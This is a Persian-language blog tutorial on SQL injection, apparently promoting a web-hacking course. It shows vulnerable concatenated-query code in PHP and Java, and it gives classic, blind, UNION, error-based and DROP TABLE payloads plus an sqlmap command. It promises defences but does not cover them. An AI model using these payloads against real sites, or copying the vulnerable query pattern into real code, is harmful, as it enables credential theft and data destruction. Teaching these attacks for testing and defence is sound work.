آموزش sqlinjection
- کورش سنایی
- ۹ تیر ۱۴۰۴
- زمان مطالعه: 7 دقیقه

SQL Injection یکی از رایجترین و خطرناکترین آسیبپذیریهای امنیتی در برنامههای وب است. این حمله زمانی اتفاق میافتد که مهاجم بتواند دستورات SQL مخرب را در ورودیهای برنامه تزریق کند. در این مقاله جامع، به بررسی کامل این مفهوم، روشهای حمله و راهکارهای دفاعی میپردازیم; با ما با این آموزش هک همراه باشید ….
آموزش هک سایت با آسیب پذیری Sqlinjection به صورت عملی و ویدیویی
در ویدیوی 30 دقیقه ای ی بالا شما از 0 تا 100 روش هک یک سایت رو با کمک آسیب پذیری SQL INJECTION رو میتونید تماشا کنید که برای حرفه ای شدن در این زمینه میتونید از دوره وب هکینگ زیرزمین سایبری استفاده کنید تا نتایج بهتر و دقیق تری رو بگیرید; و نه تنها آموزش sqlinjection بلکه آسیب پذیری های مفید و کار آمد دیگه دنیای وب رو هم یاد میگیرید .
آیا در سال 2025 آسیبپذیری SQL Injection هنوز کاربردی است؟
با وجود پیشرفتهای امنیتی، SQL Injection همچنان یکی از خطرناکترین حملات سایبری محسوب میشود. گزارشهای OWASP نشان میدهد که بیش از 30% از برنامههای وب هنوز در معرض این آسیبپذیری هستند. حتی در سال 2025، بسیاری از سیستمهای قدیمی و حتی برخی برنامههای جدید به دلیل کدنویسی ناامن، در برابر این حمله آسیبپذیر باقی ماندهاند.
چند سایت در معرض آسیبپذیری SQL Injection هستند؟
بررسیها حاکی از آن است که حدود 20% از سایتهای جهانی هنوز بهصورت کامل در برابر SQL Injection ایمنسازی نشدهاند. این آمار در وبسایتهای کوچک و متوسط حتی بالاتر است و برخی از آنها بهراحتی قابل نفوذ هستند. یادگیری آموزش SQL Injection نهتنها برای تست نفوذ، بلکه برای توسعهدهندگان جهت ایمنسازی برنامهها ضروری است.
SQL Injection چیست؟
SQL Injection نوعی حمله تزریقی است که در آن مهاجم میتواند دستورات SQL دلخواه خود را از طریق دادههای ورودی به برنامه ارسال کند. این حمله معمولاً زمانی موفق میشود که برنامه، ورودی کاربر را بدون اعتبارسنجی یا تصحیح مناسب، مستقیماً در کوئریهای SQL استفاده کند.
-- مثال ساده از یک کوئری آسیبپذیر
SELECT * FROM users WHERE username = 'admin' AND password = '12345'
چگونه SQL Injection کار میکند؟
برای درک بهتر این حمله، بیایید یک مثال عملی را بررسی کنیم. فرض کنید یک صفحه لاگین دارید که کد آن به این صورت است:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
اگر کاربر عادی نام کاربری و رمز عبور صحیح را وارد کند، کوئری به این شکل اجرا میشود:
SELECT * FROM users WHERE username = 'john' AND password = 'secret123'
اما یک مهاجم میتواند به جای نام کاربری، این رشته را وارد کند: admin' --
در این صورت کوئری نهایی به این شکل درمیآید:
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
علامت --
در SQL نشاندهنده توضیحات است، بنابراین بخش مربوط به رمز عبور نادیده گرفته میشود و سیستم کاربری با نام کاربری admin را بدون نیاز به رمز عبور بازمیگرداند.

انواع مختلف SQL Injection
1. SQL Injection کلاسیک
این نوع همان نمونهای است که در بخش قبل مشاهده کردیم. مهاجم با استفاده از کاراکترهای خاص مانند تک کوتِیشن یا دابل quotation، ساختار کوئری اصلی را تغییر میدهد.
-- مثال دیگر از SQL Injection کلاسیک
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 --'
2. Blind SQL Injection
در این نوع، مهاجم نمیتواند نتایج کوئری را مستقیماً ببیند، اما با تحلیل پاسخهای برنامه (مانند زمان پاسخ یا تغییر در رفتار برنامه) میتواند اطلاعات را استخراج کند.
-- مثال Blind SQL Injection بر اساس زمان
SELECT * FROM users WHERE username = 'admin' AND (SELECT sleep(10) FROM dual WHERE database() LIKE 'a%') --'
3. Union-Based SQL Injection
در این روش، مهاجم از عملگر UNION در SQL برای ترکیب نتایج کوئری اصلی با دادههای دیگری که از جداول مختلف میخواند استفاده میکند.
-- مثال Union-Based Injection
SELECT name, description FROM products WHERE id = 1 UNION SELECT username, password FROM users --
4. Error-Based SQL Injection
این روش با عمداً ایجاد خطا در پایگاه داده کار میکند تا اطلاعات حساس از طریق پیامهای خطا افشا شوند.
-- مثال Error-Based Injection
SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT username FROM users LIMIT 1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --
مثالهای عملی SQL Injection
مثال ۱: دور زدن احراز هویت
فرض کنید کد احراز هویت یک برنامه به این صورت باشد:
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
مهاجم میتواند در فیلد نام کاربری این مقدار را وارد کند:admin' --
و کوئری نهایی به این شکل درمیآید:
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
این کوئری کاربر admin را بدون بررسی رمز عبور برمیگرداند.
مثال ۲: استخراج دادههای حساس
با استفاده از تکنیک UNION، مهاجم میتواند دادههای جداول دیگر را نیز بخواند:
-- در یک برنامه آسیبپذیر
SELECT title, body FROM articles WHERE id = 1 UNION SELECT username, password FROM users --
این کوئری علاوه بر اطلاعات مقاله، نام کاربری و رمزهای عبور تمام کاربران را نیز نمایش میدهد.
مثال ۳: حذف دادهها
یک حمله SQL Injection میتواند بسیار مخرب باشد:
-- در یک برنامه آسیبپذیر
SELECT * FROM products WHERE id = 1; DROP TABLE users; --
این دستور نه تنها محصول مورد نظر را برمیگرداند، بلکه جدول users را نیز کاملاً حذف میکند.
تست آسیبپذیری SQL Injection
1. تست دستی
میتوانید با وارد کردن کاراکترهای خاص مانند '
یا "
در فیلدهای ورودی، برنامه را تست کنید.
2. استفاده از ابزارهای خودکار
ابزارهایی مانند SQLmap میتوانند به صورت خودکار آسیبپذیریهای SQL Injection را شناسایی کنند.
# مثال استفاده از sqlmap
sqlmap -u "http://example.com/page?id=1" --dbs
جمع بندی آموزش sqlinjection
در این مقاله از مجموعه آموزش sql injection برای افراد مبتدی، به زبان ساده توضیح دادیم که این آسیبپذیری چیست، چطور رخ میدهد، چه خطراتی دارد. یادتان باشد که ایمنسازی اپلیکیشنها فقط با مطالعه ممکن نیست؛ بلکه باید در محیطهای تست (مانند DVWA یا bWAPP) تمرین عملی انجام دهید. با یادگیری صحیح SQL Injection، نهتنها میتوانید وبسایت خود را ایمن کنید، بلکه در مسیر تبدیل شدن به یک کارشناس امنیت یا bug bounty hunter حرفهای قدم بزرگی برداشتهاید.
اگر سوال یا تجربهای در مورد SQL Injection دارید، در قسمت نظرات با ما در میان بگذارید یا در انجمن زیرزمین سایبری مشارکت کنید.